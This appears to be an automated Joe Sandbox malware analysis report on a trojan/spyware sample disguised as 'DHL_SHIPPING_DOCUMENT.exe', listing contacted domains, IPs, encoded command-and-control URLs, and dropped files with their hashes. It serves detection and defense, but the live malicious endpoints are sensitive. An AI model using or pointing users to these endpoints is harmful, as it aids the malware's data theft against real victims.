          http://www.sowmedia.site/d2a3/100%Avira URL Cloudmalware
          http://www.rw-bau.com/d2a3/100%Avira URL Cloudmalware
          http://www.motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v+A/wOpED6FQaDJ/tGFUb6Y91ZfjLOaofoM8qmjHtlEGMmc9VxCg==&F7L99l=8qpwJ100%Avira URL Cloudmalware
          http://www.vanguardfsm.com0%Avira URL Cloudsafe
          http://www.afzalhossainantor.com0%Avira URL Cloudsafe
          http://www.on-smooth.com0%Avira URL Cloudsafe
          http://www.yh78898.com0%Avira URL Cloudsafe
          http://www.yh78898.com/d2a3/?Mw=/rn7tSorYChcOKKpyJYvjsebDE1EetOtUlfXV6ATVt8jMTNnk8PtnAR6Iam3VdBxJXQPah1uBiYgzGnhkXQp6MgBOVaGh7iMCA==&F7L99l=8qpwJ100%Avira URL Cloudmalware
          http://www.worldhortihealth.com/d2a3/100%Avira URL Cloudmalware
          http://www.fresnocap.com0%Avira URL Cloudsafe
          http://www.motherhoodinthegarden.com0%Avira URL Cloudsafe
          http://www.rw-bau.comwww.worldhortihealth.comF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.espisys-technology.com/d2a3/100%Avira URL Cloudmalware
          http://www.getpay.life100%Avira URL Cloudmalware
          http://www.363ww.topwww.rw-bau.comF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.vanguardfsm.comwww.xefordbienhoa.comF7L99l=8qpwJr0%Avira URL Cloudsafe
          http://www.luxgudonu.store0%Avira URL Cloudsafe
          http://www.luxgudonu.store/d2a3/?Mw=OjO/noXVMTk40sLqqWNUhETz5fwNQfL3iZv4zuTHX4FsBRg0F7vbWW3nqcxNlOGl4ZCA660VFsqTMG20zBTe2NhxC9mrQabZ6Q==&F7L99l=8qpwJ100%Avira URL Cloudmalware
          http://www.espisys-technology.com/d2a3/?Mw=HRt8t1hC6ylxzqu69JiO+2+wCg/IpDjUJ4ODvXLX3JGoHCx8OnZPShMSZXcaT/6Kc192JGOxG+z3HQLrZrJeLIMi1PhqwEBrHA==&F7L99l=8qpwJ100%Avira URL Cloudmalware
          http://www.motherhoodinthegarden.com/d2a3/100%Avira URL Cloudmalware
          http://www.xefordbienhoa.com0%Avira URL Cloudsafe
          http://www.versicherungsgott.com/d2a3/100%Avira URL Cloudmalware
          http://www.yh78898.com/d2a3/100%Avira URL Cloudmalware
          http://www.sowmedia.sitewww.yh78898.comF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v100%Avira URL Cloudmalware
          http://www.rw-bau.com0%Avira URL Cloudsafe
          http://www.yh78898.comwww.363ww.topF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.luxgudonu.storewww.sowmedia.siteF7L99l=8qpwJ0%Avira URL Cloudsafe
          http://www.on-smooth.com/d2a3/?F7L99l=8qpwJ&Mw=LnB6L7dnOzftoEr5UpUEPAqnd7gAmYo0E1h8Hr8XDrTV/RCVTRWGXzxgMAjKYD2ZiMi0DXBclY2V/N6w7Ub5K9/YRO3kcEW/Xg==100%Avira URL Cloudmalware
          http://www.versicherungsgott.com/d2a3/?F7L99l=8qpwJ&Mw=3fW4twhu5IX2LSkBcFVlWjxiVco4zHJfqjvATlwHU7q8puaymE5DWsW8adrpP96Z6UNtMOOwQnTRLGoNrAuApIzT11t8CH71vQ==100%Avira URL Cloudmalware
          http://www.staatslieden.biz0%Avira URL Cloudsafe
          http://www.getpay.life/d2a3/100%Avira URL Cloudmalware
          http://www.versicherungsgott.com0%Avira URL Cloudsafe
          http://www.fresnocap.comwww.vanguardfsm.comF7L99l=8qpwJ0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.363ww.top
          		39.109.117.109
          		truetrue
            		unknown
            www.getpay.life
            		199.192.28.110
            		truetrue
              		unknown
              www.espisys-technology.com
              		217.160.0.32
              		truetrue
                		unknown
                sowmedia.site
                		37.97.254.29
                		truetrue
                  		unknown
                  versicherungsgott.com
                  		81.169.145.88
                  		truetrue
                    		unknown
                    motherhoodinthegarden.com
                    		50.87.195.203
                    		truetrue
                      		unknown
                      www.yh78898.com
                      		104.233.254.113
                      		truetrue
                        		unknown
                        luxgudonu.store
                        		46.23.69.44
                        		truetrue
                          		unknown
                          on-smooth.com
                          		113.52.135.193
                          		truetrue
                            		unknown
                            www.luxgudonu.store
                            		unknown
                            		unknowntrue
                              		unknown
                              www.on-smooth.com
                              		unknown
                              		unknowntrue
                                		unknown
                                www.motherhoodinthegarden.com
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.versicherungsgott.com
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    www.sowmedia.site
                                    		unknown
                                    		unknowntrue
                                      		unknown

                                      Contacted URLs

                                      NameMaliciousAntivirus DetectionReputation
                                      http://www.sowmedia.site/d2a3/?F7L99l=8qpwJ&Mw=lIoejRloD0NPrvtjG56SffHGubt9bC7l7VozaPHGZoJbvkCik3wIcy97/aKLKqf+leC/SNQQ4bUyJkgTGWAXDnv4xxMA9hLjSw==true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.on-smooth.com/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.getpay.life/d2a3/?F7L99l=8qpwJ&Mw=VQWJd0zbMmoZh8qz35kMD56sFoyc6gTYso/MZ3BJ/Q0NuTQy4/HeuFqYJgzXZamkeMaLAEsOyVyJpFsiRVW3jp2QSfHijAqmyw==true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.luxgudonu.store/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.sowmedia.site/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v+A/wOpED6FQaDJ/tGFUb6Y91ZfjLOaofoM8qmjHtlEGMmc9VxCg==&F7L99l=8qpwJtrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.yh78898.com/d2a3/?Mw=/rn7tSorYChcOKKpyJYvjsebDE1EetOtUlfXV6ATVt8jMTNnk8PtnAR6Iam3VdBxJXQPah1uBiYgzGnhkXQp6MgBOVaGh7iMCA==&F7L99l=8qpwJtrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.espisys-technology.com/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.luxgudonu.store/d2a3/?Mw=OjO/noXVMTk40sLqqWNUhETz5fwNQfL3iZv4zuTHX4FsBRg0F7vbWW3nqcxNlOGl4ZCA660VFsqTMG20zBTe2NhxC9mrQabZ6Q==&F7L99l=8qpwJtrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.espisys-technology.com/d2a3/?Mw=HRt8t1hC6ylxzqu69JiO+2+wCg/IpDjUJ4ODvXLX3JGoHCx8OnZPShMSZXcaT/6Kc192JGOxG+z3HQLrZrJeLIMi1PhqwEBrHA==&F7L99l=8qpwJtrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.motherhoodinthegarden.com/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.yh78898.com/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.on-smooth.com/d2a3/?F7L99l=8qpwJ&Mw=LnB6L7dnOzftoEr5UpUEPAqnd7gAmYo0E1h8Hr8XDrTV/RCVTRWGXzxgMAjKYD2ZiMi0DXBclY2V/N6w7Ub5K9/YRO3kcEW/Xg==true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.versicherungsgott.com/d2a3/?F7L99l=8qpwJ&Mw=3fW4twhu5IX2LSkBcFVlWjxiVco4zHJfqjvATlwHU7q8puaymE5DWsW8adrpP96Z6UNtMOOwQnTRLGoNrAuApIzT11t8CH71vQ==true
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.getpay.life/d2a3/true
                                      • Avira URL Cloud: malware
                                      		unknown

                                      URLs from Memory and Binaries

                                      NameSourceMaliciousAntivirus DetectionReputation
                                      https://duckduckgo.com/chrome_newtabhelp.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drfalse
                                        		high
                                        http://www.vanguardfsm.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.afzalhossainantor.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://duckduckgo.com/ac/?q=35-7052c.5.drfalse
                                          		high
                                          http://www.afzalhossainantor.comwww.staatslieden.bizF7L99l=8qpwJexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		low
                                          http://perldancer.org/help.exe, 00000005.00000002.582591092.0000000003D30000.00000004.10000000.00040000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.on-smooth.comwww.luxgudonu.storeF7L99l=8qpwJexplorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		low
                                          http://www.espisys-technology.comwww.on-smooth.comF7L99l=8qpwJ)explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		low
                                          https://search.yahoo.com?fr=crmas_sfpfhelp.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drfalse
                                            		high
                                            http://www.363ww.topexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.fresnocap.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.sowmedia.siteexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.staatslieden.biz/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.xefordbienhoa.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.363ww.top/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.staatslieden.bizwww.fresnocap.comF7L99l=8qpwJexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		low
                                            http://www.worldhortihealth.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.worldhortihealth.comwww.afzalhossainantor.comF7L99l=8qpwJexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		low
                                            http://www.espisys-technology.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.rw-bau.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.afzalhossainantor.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.motherhoodinthegarden.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.vanguardfsm.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.on-smooth.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.yh78898.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.fresnocap.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.worldhortihealth.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.rw-bau.comwww.worldhortihealth.comF7L99l=8qpwJexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		low
                                            https://www.google.com/images/branding/product/ico/googleg_lodp.icohelp.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drfalse
                                              		high
                                              http://www.getpay.lifeexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: malware
                                              		unknown
                                              http://www.363ww.topwww.rw-bau.comF7L99l=8qpwJexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		low
                                              http://www.vanguardfsm.comwww.xefordbienhoa.comF7L99l=8qpwJrexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		low
                                              http://www.luxgudonu.storeexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=35-7052c.5.drfalse
                                                		high
                                                http://www.sowmedia.sitewww.yh78898.comF7L99l=8qpwJexplorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmptrue
                                                • Avira URL Cloud: safe
                                                		low
                                                https://search.yahoo.com/favicon.icohttps://search.yahoo.com/searchhelp.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drfalse
                                                  		high
                                                  http://nsis.sf.net/NSIS_ErrorErrorDHL_SHIPPING_DOCUMENT.exefalse
                                                    		high
                                                    https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=help.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drfalse
                                                      		high
                                                      http://www.xefordbienhoa.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.versicherungsgott.com/d2a3/explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: malware
                                                      		unknown
                                                      https://ac.ecosia.org/autocomplete?q=35-7052c.5.drfalse
                                                        		high
                                                        https://search.yahoo.com?fr=crmas_sfphelp.exe, 00000005.00000003.398334454.000000000069B000.00000004.00000020.00020000.00000000.sdmp, 35-7052c.5.drfalse
                                                          		high
                                                          http://motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62vhelp.exe, 00000005.00000002.582591092.00000000036E8000.00000004.10000000.00040000.00000000.sdmpfalse
                                                          • Avira URL Cloud: malware
                                                          		unknown
                                                          http://www.rw-bau.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.yh78898.comwww.363ww.topF7L99l=8qpwJexplorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		low
                                                          http://www.luxgudonu.storewww.sowmedia.siteF7L99l=8qpwJexplorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		low
                                                          http://www.staatslieden.bizexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=35-7052c.5.drfalse
                                                            		high
                                                            http://www.versicherungsgott.comexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://www.fresnocap.comwww.vanguardfsm.comF7L99l=8qpwJexplorer.exe, 00000004.00000003.557927500.0000000005A9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.451404045.0000000005A2E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.585709062.0000000005A9E000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		low

                                                            World Map of Contacted IPs

                                                            • No. of IPs < 25%
                                                            • 25% < No. of IPs < 50%
                                                            • 50% < No. of IPs < 75%
                                                            • 75% < No. of IPs

                                                            Public IPs

                                                            IPDomainCountryFlagASNASN NameMalicious
                                                            50.87.195.203
                                                            		motherhoodinthegarden.comUnited States
                                                            		46606UNIFIEDLAYER-AS-1UStrue
                                                            37.97.254.29
                                                            		sowmedia.siteNetherlands
                                                            		20857TRANSIP-ASAmsterdamtheNetherlandsNLtrue
                                                            46.23.69.44
                                                            		luxgudonu.storeUnited Kingdom
                                                            		13213UK2NET-ASGBtrue
                                                            217.160.0.32
                                                            		www.espisys-technology.comGermany
                                                            		8560ONEANDONE-ASBrauerstrasse48DEtrue
                                                            104.233.254.113
                                                            		www.yh78898.comUnited States
                                                            		137443ANCHGLOBAL-AS-APAnchnetAsiaLimitedHKtrue
                                                            199.192.28.110
                                                            		www.getpay.lifeUnited States
                                                            		22612NAMECHEAP-NETUStrue
                                                            81.169.145.88
                                                            		versicherungsgott.comGermany
                                                            		6724STRATOSTRATOAGDEtrue
                                                            113.52.135.193
                                                            		on-smooth.comHong Kong
                                                            		133380LAYER-ASLayerstackLimitedHKtrue

                                                            General Information

                                                            Joe Sandbox Version:37.0.0 Beryl
                                                            Analysis ID:830431
                                                            Start date and time:2023-03-20 11:26:09 +01:00
                                                            Joe Sandbox Product:CloudBasic
                                                            Overall analysis duration:0h 9m 51s
                                                            Hypervisor based Inspection enabled:false
                                                            Report type:light
                                                            Cookbook file name:default.jbs
                                                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                            Number of analysed new started processes analysed:10
                                                            Number of new started drivers analysed:0
                                                            Number of existing processes analysed:0
                                                            Number of existing drivers analysed:0
                                                            Number of injected processes analysed:1
                                                            Technologies:
                                                            • HCA enabled
                                                            • EGA enabled
                                                            • HDC enabled
                                                            • AMSI enabled
                                                            Analysis Mode:default
                                                            Analysis stop reason:Timeout
                                                            Sample file name:DHL_SHIPPING_DOCUMENT.exe
                                                            Detection:MAL
                                                            Classification:mal100.troj.spyw.evad.winEXE@12/5@9/8
                                                            EGA Information:
                                                            • Successful, ratio: 100%
                                                            HDC Information:
                                                            • Successful, ratio: 73.7% (good quality ratio 67.2%)
                                                            • Quality average: 74%
                                                            • Quality standard deviation: 31.4%
                                                            HCA Information:
                                                            • Successful, ratio: 100%
                                                            • Number of executed functions: 0
                                                            • Number of non-executed functions: 0
                                                            Cookbook Comments:
                                                            • Found application associated with file extension: .exe

                                                            Warnings

                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
                                                            • TCP Packets have been reduced to 100
                                                            • Not all processes where analyzed, report is missing behavior information
                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                            • Report size getting too big, too many NtQueryValueKey calls found.

                                                            Simulations

                                                            Behavior and APIs

                                                            TimeTypeDescription
                                                            11:27:20API Interceptor506x Sleep call for process: explorer.exe modified

                                                            Joe Sandbox View / Context

                                                            IPs

                                                            ⊘No context

                                                            Domains

                                                            ⊘No context

                                                            ASNs

                                                            ⊘No context

                                                            JA3 Fingerprints

                                                            ⊘No context

                                                            Dropped Files

                                                            ⊘No context

                                                            Created / dropped Files

                                                            C:\Users\user\AppData\Local\Temp\35-7052c

                                                            Download File
                                                            Process:C:\Windows\SysWOW64\help.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):94208
                                                            Entropy (8bit):1.2880737026424216
                                                            Encrypted:false
                                                            SSDEEP:192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
                                                            MD5:5F02C426BCF0D3E3DC81F002F9125663
                                                            SHA1:EA50920666E30250E4BE05194FA7B3F44967BE94
                                                            SHA-256:DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
                                                            SHA-512:53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
                                                            Malicious:false
                                                            Reputation:high, very likely benign file
                                                            Preview:SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe

                                                            Download File
                                                            Process:C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
                                                            File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):95744
                                                            Entropy (8bit):6.2261764317924495
                                                            Encrypted:false
                                                            SSDEEP:1536:V0ZlV4KXc4OxQEsGZDmS+jtBaK/eRuZocSZUpxwkyBp+NnFsSW81kxgsWJjcdvbk:ed4KALsGZDN+x/yuZocSTkyBw9y8eASY
                                                            MD5:52BD228566EE8DDE1E37102049937D69
                                                            SHA1:B04481BE94D6AE60469226B33382139271D0A549
                                                            SHA-256:82281D2CEDDE42F2564C5506652128954061C5208D5C59BA5237875A96FA38C8
                                                            SHA-512:50350D708465FA51CA74050BEF07AF63EAEA9770E5A7A507BD62C4C4214EF6040CEC4FF3A3AAE6C87BD8FAE94D2999551825922A594FD7C22A99DC3BA2D2EEE4
                                                            Malicious:true
                                                            Reputation:low
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...s...s...s...8...y...8.......8...g......U......b......`...8...j...s...........r.......r...Richs...........PE..L......d...............!.....|......".............@.........................................................................|k.......................................^...............................]..@............................................text............................... ..`.rdata...f.......h..................@..@.data...l............l..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\lfcykkdw.xwy

                                                            Download File
                                                            Process:C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):5585
                                                            Entropy (8bit):7.185773983646611
                                                            Encrypted:false
                                                            SSDEEP:96:Farc6oYV7OWg/DrYuTk2XO5oSwsBcWsYdfOQQSB+FCV76RdoT1uHDfRnTomtC8B3:FarcRQyJLhX1ShCvwjkMVWQ8JDtC8Mm9
                                                            MD5:DD97B27860101C0989FEB9552ABBD29B
                                                            SHA1:BC39A79D85EAE4EA267084C7253D18BF47398B87
                                                            SHA-256:323E755E8354C0AD25CA44CF297BAC5A7ECAD26C1578953566D20DB95110F93D
                                                            SHA-512:4343A67064EB05DD1493E052260577C2ECEDD9531DF9BAE9B0F8897210A011E9010817948EA9C56AF5487EBC95E5B728B16CD13C42F0BBCD34990156011B4DB7
                                                            Malicious:false
                                                            Reputation:low
